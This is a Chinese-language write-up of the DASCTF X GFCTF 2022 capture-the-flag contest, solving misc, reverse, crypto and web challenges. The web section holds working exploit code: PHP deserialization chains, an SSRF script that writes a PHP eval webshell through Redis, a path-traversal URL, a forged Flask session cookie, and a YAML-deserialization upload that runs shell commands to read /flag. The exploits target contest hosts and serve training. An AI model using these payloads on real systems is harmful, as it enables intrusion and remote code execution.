DASCTF X GFCTF 2022十月挑战赛 WriteUp

I GOT 油 我想抽

MISC

ansic

安卓misc,逆不逆向问题不大,逆向了可以找到账号密码是admin和admin的md5的8到24位。
在这里插入图片描述
然后里面有一张图,在assert里也可以看见加密图片的逻辑(但也问题不大,ps可以搞定),加密图片在res里面,存在一个encode.jpg的图片
在这里插入图片描述
解密后是base64
在这里插入图片描述
在这里插入图片描述
目力之后是
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwODA2NyIsImF1ZCI6IkRTVEJQIiwiaWF0IjoxNjY1MTExODg5LjYwMTY5MjQsImhpbnQiOiJUaGUgU2lnbmF0dXJlJ3MgYmFzZTY0IGlzIFppcCdzIFBhc3N3b3JkIiwiZXhwIjoxNjk2NjQ3ODg5LjYwMTY5MjR9.fBPoMQprLZF280c7jazIApJC4m0PX_Cx9_UnNMGZIP0
用jwt爆破密钥,得到w1lm,base64加密后提取一张jpg和class,jpg是jphs的隐写,密码在class文件中,class逆向得到逻辑

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;

public class pwEncode {
  public static void main(String[] paramArrayOfString) throws IOException {
    File file = new File("D:/ansic/message.txt");
    FileReader fileReader = new FileReader(file);
    BufferedReader bufferedReader = new BufferedReader(fileReader);
    String str1 = bufferedReader.readLine();
    String str2 = "mllw";
    String str3 = "";
    byte b;
    int i;
    for (b = 0, i = 0; b < str1.length(); b++) {
      char c = str1.charAt(b);
      if (Character.isLetter(c)) {
        if (Character.isUpperCase(c)) {
          str3 = str3 + (char)((c + str2.toUpperCase().charAt(i) - 130) % 26 + 65);
        } else {
          str3 = str3 + (char)((c + str2.toLowerCase().charAt(i) - 194) % 26 + 97);
        } 
      } else {
        str3 = str3 + c;
      } 
      i = ++i % str2.length();
    } 
    if (str3 == "pdexbdlueesabldoizczudmlfdo")
      System.out.println(str3); 
  }
}

最后可以爆破得到明文为:dstbpsaysthepasswordisbptsd

import string

def _enc(c,index):
    key = 'mllw'
    if c.isupper():
        return chr((ord(c)+ord(key[index%4].upper())-130)%26+65)
    else:
        return chr((ord(c)+ord(key[index%4].lower())-194)%26+97)
        
enc = 'pdexbdlueesabldoizczudmlfdo'
table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
res = ''
for i in range(len(enc)):
    for j in table:
        if _enc(j,i) == enc[i]:
            res+=j
print(enc)

图片右键属性可以看见base64 jphs的提示,用jphs来解即可,密码:bptsd
在这里插入图片描述

滴滴图

图片结尾
在这里插入图片描述
图片binwalk,提取压缩包密码解压,获得图片,图片改高度

在这里插入图片描述
用来解压音频压缩包
然后morse密码,发现有干扰,用au分离左右声道

在这里插入图片描述
在线识别即可
left直接转hex,right识别出来全是乱码无视。(最后一位没识别完就截图了,无所谓
在这里插入图片描述
转换,是to_be_ctfer,直接提交。

poi?qoi!

工具转一下 r0有个mask
Mask:
在这里插入图片描述
Fake:
在这里插入图片描述
Real:
在这里插入图片描述

ez_xxd

流量分析,直接提取,flag.txt提取完是个图片,zip解压是个压缩包,zip内有一个叫Miku.png的图片,然后刚好提取的图片内容也是miku,直接明文爆破,获得密钥
bf5b3101 9aed7bd6 79e1cb93
在这里插入图片描述
myd直接提取就行了,直接是带密码的flag.zip,密码不知道,时间排序看js
在这里插入图片描述
在这里插入图片描述
解压flag.zip即可

easy_dots

打印机黄色校验,彩色打印机一般都有的水印
参考文章
https://w2.eff.org/Privacy/printers/docucolor/
不过在线工具不好使了,他给了源码,
https://gist.github.com/zwh2/ffb3d4ee0f66b8e6c726a217ff3d7f9cf12
点好的数据f12抓包,上传的时候的参数给自己本地部署的发过去就行了
(wp截图仅供参考,懒得重新点了)
在这里插入图片描述
postman发一下捏
在这里插入图片描述
设备id08067520,时间,2002 10-28 06:06,拼接md5提交

dockermisc

本想着用docker-layer做来着,不如直接挨个layer翻
翻到图片
在这里插入图片描述
lsb可以获得前半段,然后后面拼接个压缩包可以直接提取出来,直接爆破
在这里插入图片描述
获得flag内容,有0宽,不过数据量不够,是混淆用的,把可见字符直接base85就行了

在这里插入图片描述

Web

EasyPOP

Fast-destruct


```php
<?php
class fine
{
  private $cmd;
  private $content;

  public function __construct($cmd, $content)
  {
    $this->cmd = $cmd;
    $this->content = $content;
  }

  public function __invoke()
  {
    call_user_func($this->cmd, $this->content);
  }

  public function __wakeup()
  {
    $this->cmd = "";
    die("Go listen to Jay Chou's secret-code! Really nice");
  }
}

class show
{
  public $ctf;
  public $time = "Two and a half years";

  public function __construct($ctf)
  {
    $this->ctf = $ctf;
  }

  public function __toString()
  {
    return $this->ctf->show();
  }

  public function show(): string
  {
    return $this->ctf . ": Duration of practice: " . $this->time;
  }
}

class sorry
{
  private $name;
  private $password;
  public $hint = "hint is depend on you";
  public $key;

  public function __construct($name, $password, $key, $hint)
  {
    $this->name = $name;
    $this->password = $password;
    $this->key = $key;
    $this->hint = $hint;
  }

  public function __get($name)
  {
    $name = $this->key;
    $name();
  }

  public function __destruct()
  {
    if ($this->password == $this->name) {

      echo $this->hint;
    } else if ($this->name = "jay") {
      secret_code::secret();
    } else {
      echo "This is our code";
    }
  }

  public function getPassword()
  {
    return $this->password;
  }

  public function setPassword($password): void
  {
    $this->password = $password;
  }
}

class secret_code
{
  protected $code;

  public function __construct($code)
  {
    $this->code = $code;
  }

  public static function secret()
  {
    include_once "hint.php";
    hint();
  }

  public function __call($name, $arguments)
  {
    $num = $name;
    $this->$num();
  }

  private function show()
  {
    return $this->code->secret;
  }
}

$hint = new show(new secret_code(new sorry("1", "2", new fine('show_source', '/flag'), "")));

$a = new sorry(true, "123", "", $hint);

$content = serialize($a);

$content = substr($content, 0, strlen($content));

echo(urlencode($content));

删掉一个大括号

hade_waibo

非预期,直接读/start.sh,里面有文件名
http://0c4e0129-baa2-487f-9f8b-63e3e2a48170.node4.buuoj.cn:81/file.php?m=show&filename=…/…/…/…/start.sh

EasyLove

ssrf打redis,date提权输出flag

Python
cmd = [
    "AUTH 20220311",
    "flushall",
    "set 1 {}".format("<?php${IFS}eval($_POST[0]);?>"),
    "config set dir {}".format("/var/www/html/"),
    "config set dbfilename {}".format("shell.php"),
    "save"
]

def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*"+str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF+"$" + \
            str(len((x.replace("${IFS}", " "))))+CRLF+x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd

print(''.join([redis_format(x) for x in cmd]))


PHP
<?php
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
    
    public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
        $this->wllm = $wllm;
        $this->arsenetang = $arsenetang;
        $this->l61q4cheng = $l61q4cheng;
        $this->love = $love;
    }
    public function newnewnew(){
        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    }

    public function flag(){
        $this->love->getflag();
    }
    
    public function __destruct(){
        $this->newnewnew();
        $this->flag();
    }
}

$o = new swpu('SoapClient', null, array(
    'user_agent' => "\r\n".file_get_contents("payload"),
    'location'=>'http://127.0.0.1:6379',
    'uri'=>''
), null);

class hint{
    public $hint = "/var/www/html/";
    public function __destruct(){
        echo file_get_contents($this-> hint.'hint.php');
    }
}
echo(urlencode(serialize($o)));

BlogSystem

博客里有常用secret直接改cookie

flask-unsign --sign --secret '7his_1s_my_fav0rite_ke7' -c 
"{'_permanent': True, 'username': 'admin'}"   

从download接口下源码,有个yaml反序列化,搞个py上去import一下module就行

import requests
import random
    

s = random.randbytes(2).hex()

f = f"""
!!python/module:static.upload.{s}
"""

session = requests.Session()

session.cookies.set("session", "eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn0.Y1TK9w.sL9xcd4WuJrGlN_4aziq1PFhYDA")

url = "http://de91fa76-573b-426d-9c7b-f045470fd8d2.node4.buuoj.cn:81"

r = session.post(url + "/blog/imgUpload", files={
    "editormd-image-file": (f"{s}.py", f"import os;os.system('cat /flag > /tmp/result-{s}.txt')", "text/plain")
})

print(r.json())

r = session.post(url + "/blog/imgUpload", files={
    "editormd-image-file": (f"{s}.yaml", f, "text/plain")
})

print(r.json())

r = session.get(url + "/blog/saying", params={
        "path": f"static/upload/{s}.yaml"
})

print(r.text)

r = session.get(url + "/download", params={
        "path": f"/tmp/result-{s}.txt"
})

print(r.text)

REVERSE

Pycode

手动逆向一下,mt19937

from Crypto.Util import number

enc = '8b2e4e858126bc8478d6a6a485215f03'

def inverse_right(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp

# right shift with mask inverse
def inverse_right_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift & mask
    return tmp

# left shift inverse
def inverse_left(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift
    return tmp

# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp

def extract_number(x):
    # x, x, 11
    x = (x >> 11) ^ x
    x = x ^ ((x << 7) & 2022072721)
    x = x ^ ((x << 15) & 2323163360)
    x = x ^ (x >> 18)
    return x

def recover(y):
    y = inverse_right(y,18)
    y = inverse_left_mask(y,15,2323163360)
    y = inverse_left_mask(y,7,2022072721)
    y = inverse_right(y,11)
    return y&0xffffffff

def transform(m: bytes):
    new_message = b''
    l = len(m)
    for i in range(l // 4):
        enc = m[i * 4:i * 4 + 4]
        enc = number.bytes_to_long(enc)
        enc = extract_number(enc)
        enc = number.long_to_bytes(enc, 4)
        new_message += enc
    return new_message
    

if __name__ == "__main__":
    num = input("input your number")
    tmp = bytes.fromhex(num)
    res = transform(tmp).hex()
    if enc == res:
        print("ok,your flag : DASCTF{{{name}}}".format(name=num))
    else:
        print("wrong")

new_message = b''
enc = bytes.fromhex(enc)
l = len(enc)
for i in range(l // 4):
    dec = enc[i * 4:i * 4 + 4]
    dec = number.bytes_to_long(dec)
    dec = recover(dec)
    dec = number.long_to_bytes(dec, 4)
    new_message += dec

print(new_message.hex())

贪玩CTF

首先看一下导出表,有TLS,查看代码是反调试
在这里插入图片描述
查看关键词,交叉引用定位关键代码
在这里插入图片描述
在这里插入图片描述
关键函数在sub_1400019C0里面,返回值判断是否能成功登录,当v17==1,才能成功登录
在这里插入图片描述
密码和登录账号的长度都要是16,而且sub_140001390是一个关键函数,后面分析
在这里插入图片描述
account 逐字节xor账户名最后一个字节,我们动调看一下密文,下面是account的验证
在这里插入图片描述
记得要过反调试,把 IsDebuggerPresent的返回值1改成0就行了
在这里插入图片描述
提取数据

 0x04, 0x1F, 0x1F, 0x1E, 0x43, 0x4B, 0x43, 0x45, 0x44, 0x00, 
  0x16, 0x10, 0x55, 0x17, 0x12, 0x73#最后一个字节不用xor
  
  a=[  0x04, 0x1F, 0x1F, 0x1E, 0x43, 0x4B, 0x43, 0x45, 0x44, 0x00,
  0x16, 0x10, 0x55, 0x17, 0x12, 0x73]

for i in range(len(a)-1):
    print(chr(a[i]^0x73),end="")
#账户名:wllm08067sec&das    

sub_7FF76F351390里面是对密文的操作,利用Findcrypt可以获取AES特征,key是我们的账户名
0x7FF76F3543D8地址存放着wllm08067sec&das 的密码密文,0x7FF76F356990存放着我们输入后的加密密码。
在这里插入图片描述
提取密文

 0x3C, 0x97, 0x72, 0x96, 0x5A, 0x33, 0x63, 0x9C, 0x97, 0x30, 
  0x4D, 0x90, 0x84, 0xE8, 0x5F, 0x56

调试后发现是标准AES,没有魔改,我直接用网站解了https://the-x.cn/cryptography/Aes.aspx

在这里插入图片描述
根据提示:flag提交格式为DASCTF{账号+密码}:DASCTF{wllm08067sec&dase4deb7a6510a10f7}

challenge

在这里插入图片描述
这一块的操作是将flag拆分成奇偶存储,可以动调查看内存,而且知道flag的长度是32
在这里插入图片描述
sub_405700里面有个base64表,后面是异常处理,IDA分析不出来
可以直接改JMP到catch位置分析
在这里插入图片描述
不过这个catch的处理我没看懂
在这里插入图片描述
byte_6090A0有个字符串szv~,unk_609350是一个初始化0x100大小的0,我们执行一下,然后查看
unk_609350会变成什么
在这里插入图片描述
在sub_400C10我看到了rc4的字符串,所以我就试了一下rc4,结果真的是rc4的s表
在这里插入图片描述

C#
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <windows.h>
#include<string>
using namespace std;

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k) //初始化函数
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len_k];
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j]; //交换s[i]和s[j]
        s[j] = tmp;
    }
}

/*
RC4加解密函数
unsigned char* Data     加解密的数据
unsigned long Len_D     加解密数据的长度
unsigned char* key      密钥
unsigned long Len_k     密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
    unsigned char s[256];
    rc4_init(s, key, Len_k);
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len_D; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j]; //交换s[x]和s[y]
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}
int main()
{
    unsigned char data[] = { 0x72, 0xA7, 0xE5, 0xB1, 0xBF, 0xD1, 0x3A, 0xC9, 0x7E, 0x5D,
  0x83, 0xA8, 0x21, 0x4F, 0x70, 0x90 };
    unsigned char* key = (unsigned char*)"szv~";
    rc4_crypt(data, strlen((const char*)data), key, strlen((const char*)key));
    for (size_t i = 0; i < strlen((const char*)data); i++)
    {
        printf("%c", data[i]);
    }
} 

在这里插入图片描述
怀疑sub_406270是rc4加密,密文就是s1,提取一下

unsigned char s1[] =
{
  0x72, 0xA7, 0xE5, 0xB1, 0xBF, 0xD1, 0x3A, 0xC9, 0x7E, 0x5D, 
  0x83, 0xA8, 0x21, 0x4F, 0x70, 0x90
};

这一部分的解密脚本就在上面求s表中,得到一部分flag,ACFg0Gw1Jo5Ix9C}
下面一部分很明显是base64,但是解不出来,猜了一下是换表
我们换个新的假flag继续调试,如果全部都是自己伪造的flag,可能会调试时自动退出去了,在函数里面可能有检测部分,但是有混淆不太好看,而且我们前面patch了很多东西,重新打开一个没有改动过的文件进行调试。
A_C_F_g_0_G_w_1_J_o_5_I_x_9_C}
现在很明显可以把flag头写出来DASCTF{g_0_G_w_1_J_o_5_I_x_9_C_}
新伪造的flag:DASCTF{g102G3w415J6o758I9x09aCb}
在这里插入图片描述
这里有的新的表,可以拿来试一下

C#
ghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef

import base64
import string

str1 = "xlt0+V9PtVBKt0lEukZYug=="

string1 = "ghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
#DST{Wo7Xj5Ad8Nx8

按奇偶排列就行了,DASCTF{gW0oG7wX1jJ5oA5dI8xN9xC8}

CRYPTO

RSA

Python
from Crypto.Util.number import *
from gmpy2 import iroot,invert
from binascii import hexlify,unhexlify

n_2 = 675835056744450121024004008337170937331109883435712066354955474563267257037603081555653829598886559337325172694278764741403348512872239277008719548968016702852609803016353158454788807563316656327979897318887566108985783153878668451688372252234938716250621575338314779485058267785731636967957494369458211599823364746908763588582489400785865427060804408606617016267936273888743392372620816053927031794575978032607311497491069242347165424963308662091557862342478844612402720375931726316909635118113432836702120449010
n_3 = 91294511667572917673898699346231897684542006136956966126836916292947639514392684487940336406038086150289315439796780158189004157494824987037667065310517044311794725172075653186677331434123198117797575528982908532086038107428540586044471407073066169603930082133459486076777574046803264038780927350142555712567
e_1 = 65537
e_2 = 3
c_1 = 47029848959680138397125259006172340325269302342762903311733700258745280761154948381409328053449580957972265859283407071931484707002138926840483316880087281153554181290481533
c_2 = 332431
c_3 = 11951299411967534922967467740790967733301092706094553308467975774492025797106594440070380723007894861454249455013202734019215071856834943490096156048504952328784989777263664832098681831398770963056616417301705739505187754236801407014715780468333977293887519001724078504320344074325196167699818117367329779609
m = 9530454742891231590945778054072843874837824815724564463369259282490619049557772650832818763768769359762168560563265763313176741847581931364
k = 8139616873420730499092246564709331937498029453340099806219977060224838957080870950877930756958455278369862703151353509623205172658012437573652818022676431


t = 0
tmp = c_2
while 1:
    if(iroot(tmp,3)[1]):
        n_1 = iroot(tmp,3)[0]
        print(n_1)
        print(t)
        break
    tmp += n_2
    t += 1
    
    
p = 2224243981
q = 2732337821
r = 11585031296201346891716939633970482508158508580350404805965250133832632323150440185890235814142601827544669601048550999405490149435265122374459158586377571


phi = (p-1)*(q-1)*(r-1)
d = invert(e_1,phi)
m1 = pow(c_1,d,n_1)
m1 = hex(m1)[2:]
m1 = unhexlify(m1)
m1 = hex(int(m1,16))[2:]
m1 = unhexlify(m1)
flag1 = m1.decode()
flag2 = unhexlify(long_to_bytes(m))
print(flag1)
print(flag2)

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注